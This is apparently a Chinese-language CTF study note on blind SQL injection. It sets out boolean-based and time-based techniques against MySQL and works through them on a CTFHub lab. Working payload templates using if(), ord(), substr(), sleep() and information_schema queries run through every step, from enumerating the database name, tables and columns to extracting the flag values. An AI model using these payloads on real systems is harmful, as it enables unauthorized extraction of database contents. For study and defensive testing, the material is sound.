盲注
我理解的盲注关键点:可注入的条件下,对于查询成功和失败,对于后端有两种明确不同的响应,如显式的yes/no等,无论是采用了任何方法,只要符合二值性,所有方法原理上均可构成盲注被利用。
布尔盲注:构造布尔类型的SQL语句结果的真假,判断数据库中的情况,拼接正确结果,一般利用二分提高效率。
时间盲注:特殊的布尔型,真假的结果变为每次页面响应的时间,判断数据库中的情况,一般利用二分提高效率。
布尔盲注
特点
不报错,回显为明显的成功与失败标志,且有注入点。
原理
1.判断长度,将库内的字符串截取并ascii化,与我们的猜测值对比,通过报错与报对,逐字猜解出完整字符串。
但是猜解过程包含两重循环,所以由自动化脚本执行效率更高。
2.IF函数
IF仅是表示两种不同状态的一种方式,其实只要是能表示查询成功和失败两种结果的函数与关键字,均可使用。
表示成功与失败,以检测我们的输入是否正确。
If(exp,v1,v2)
如果表达式 exp 成立,返回结果 v1;否则,返回结果 v2
3.重要函数
length() 返回长度 【检测长度手段,其实已经被封装在自动化脚本里,或通过捕获异常排除掉了上限溢出的情况】
ord()或ascii() ascii化字符【判断的手段】
If(exp,v1,v2)
如果表达式 exp 成立,返回结果 v1;否则,返回结果 v2
流程
猜解数据库(长度和库名)【这部分有长度和名字的详解,后面不再重复】【本步一般不需要】
(1)检测数据库名长度
原理:
if((select length(database())>n),1,-1)
if((select length(database())=C),1,-1)
例:
if((select length(database())>1),1,-1).......(长度+++++).....
if((select length(database())=4),1,-1) 确定长度为4
结果:query_success
【但是实际上由于交给脚本执行不需要确定位数,上述内容可以不做,除非手搓】
(2)猜解数据库名
原理:
if((select ord(substr(database(),{被猜解字符串位数},1)))>{ascii码},1,-1) 【位数++,ascii+++】
if((select ord(substr(database(),{被猜解字符串位数},1)))={ascii码},1,-1) 【确定特定位的特定字符】
例:
if((ord(substr(database(),{},1)))>{},1,-1)
【交由自动化脚本执行,按位确定】
结果:sqli
猜解表(长度和系列表名)
原理:
【由于交给脚本执行不需要确定位数】
if((select ord(substr(database(),{被猜解字符串位数},1)))>{ascii码},1,-1) 【位数++,ascii+++】
if((select ord(substr(database(),{被猜解字符串位数},1)))={ascii码},1,-1) 【确定特定位的特定字符】
【交由自动化脚本执行,按位确定】:if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{被猜解字符串位数},1))>{ascii码},1,-1)
例:
if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,-1)
结果:news,flag[可疑]
猜解字段(长度和系列字段名)
原理:
【由于交给脚本执行不需要确定位数】
if((select ord(substr(database(),{被猜解字符串位数},1)))>{ascii码},1,-1) 【位数++,ascii+++】
if((select ord(substr(database(),{被猜解字符串位数},1)))={ascii码},1,-1) 【确定特定位的特定字符】
【交由自动化脚本执行,按位确定】:if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='表名'),{被猜解字符串位数},1))>{ascii码},1,-1)
例:
if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{},1))>{},1,-1)
结果:flag
猜解数据(长度和系列数据名)
原理:
【由于交给脚本执行不需要确定位数】
if((select ord(substr(database(),{被猜解字符串位数},1)))>{ascii码},1,-1) 【位数++,ascii+++】
if((select ord(substr(database(),{被猜解字符串位数},1)))={ascii码},1,-1) 【确定特定位的特定字符】
【交由自动化脚本执行,按位确定】:if(ord(substr((SELECT 字段名 from 表名),{被猜解字符串位数},1))>{ascii码},1,-1)
例:
if(ord(substr((SELECT flag from flag),{},1))>{},1,-1)
结果:ctfhub{f1907d420ca16c2212337f04673bb732534d5561}
时间盲注
特点:
完全无回显,不报错,但有注入点。
原理
1.原理与布尔盲注完全相同,仅是将判断条件改为响应延迟。
2.通过sleep(second)与if()函数结合,将sleep()作为正确时的返回值,同没有执行时反应区别开。
输入:sleep(2)
显示:select * from news where id=sleep(2)
【但下方没有来自SQL的回显】
以此产生的延迟判断是否报错。
3.下列语句可在SQL数据库执行,并起到休眠效果。
select * from news where id=sleep(2)
流程
猜解数据库(长度和库名)【这部分有长度和名字的详解,后面不再重复】【本步一般不需要】
(1)检测数据库名长度
原理:
if((select length(database())>n),sleep(2),-1)
if((select length(database())=C),sleep(2),-1)
例:
if((select length(database())>1),sleep(2),-1).......(长度+++++).....
if((select length(database())=4),sleep(2),-1) 确定长度为4
结果:query_success
【但是实际上由于交给脚本执行不需要确定位数,上述内容可以不做,除非手搓】
(2)猜解数据库名
原理:
if((select ord(substr(database(),{被猜解字符串位数},1)))>{ascii码},sleep(2),-1) 【位数++,ascii+++】
if((select ord(substr(database(),{被猜解字符串位数},1)))={ascii码},sleep(2),-1) 【确定特定位的特定字符】
例:
if((ord(substr(database(),{},1)))>{},sleep(2),-1)
【交由自动化脚本执行,按位确定】
结果:sqli
猜解表(长度和系列表名)
原理:
【由于交给脚本执行不需要确定位数】
if((select ord(substr(database(),{被猜解字符串位数},1)))>{ascii码},sleep(2),-1) 【位数++,ascii+++】
if((select ord(substr(database(),{被猜解字符串位数},1)))={ascii码},sleep(2),-1) 【确定特定位的特定字符】
【交由自动化脚本执行,按位确定】:if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{被猜解字符串位数},1))>{ascii码},sleep(2),-1)
例:
if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(2),-1)
结果:news,flag[可疑]
猜解字段(长度和系列字段名)
原理:
【由于交给脚本执行不需要确定位数】
if((select ord(substr(database(),{被猜解字符串位数},1)))>{ascii码},sleep(2),-1) 【位数++,ascii+++】
if((select ord(substr(database(),{被猜解字符串位数},1)))={ascii码},sleep(2),-1) 【确定特定位的特定字符】
【交由自动化脚本执行,按位确定】:if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='表名'),{被猜解字符串位数},1))>{ascii码},sleep(2),-1)
例:
if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{},1))>{},sleep(2),-1)
结果:flag
猜解数据(长度和系列数据名)
原理:
【由于交给脚本执行不需要确定位数】
if((select ord(substr(database(),{被猜解字符串位数},1)))>{ascii码},sleep(2),-1) 【位数++,ascii+++】
if((select ord(substr(database(),{被猜解字符串位数},1)))={ascii码},sleep(2),-1) 【确定特定位的特定字符】
【交由自动化脚本执行,按位确定】:if(ord(substr((SELECT 字段名 from 表名),{被猜解字符串位数},1))>{ascii码},sleep(2),-1)
例:
if(ord(substr((SELECT flag from flag),{},1))>{},sleep(2),-1)
结果:ctfhub{c4f93b6dbad8771d5c1ec9137e6b09f49a7b7b43}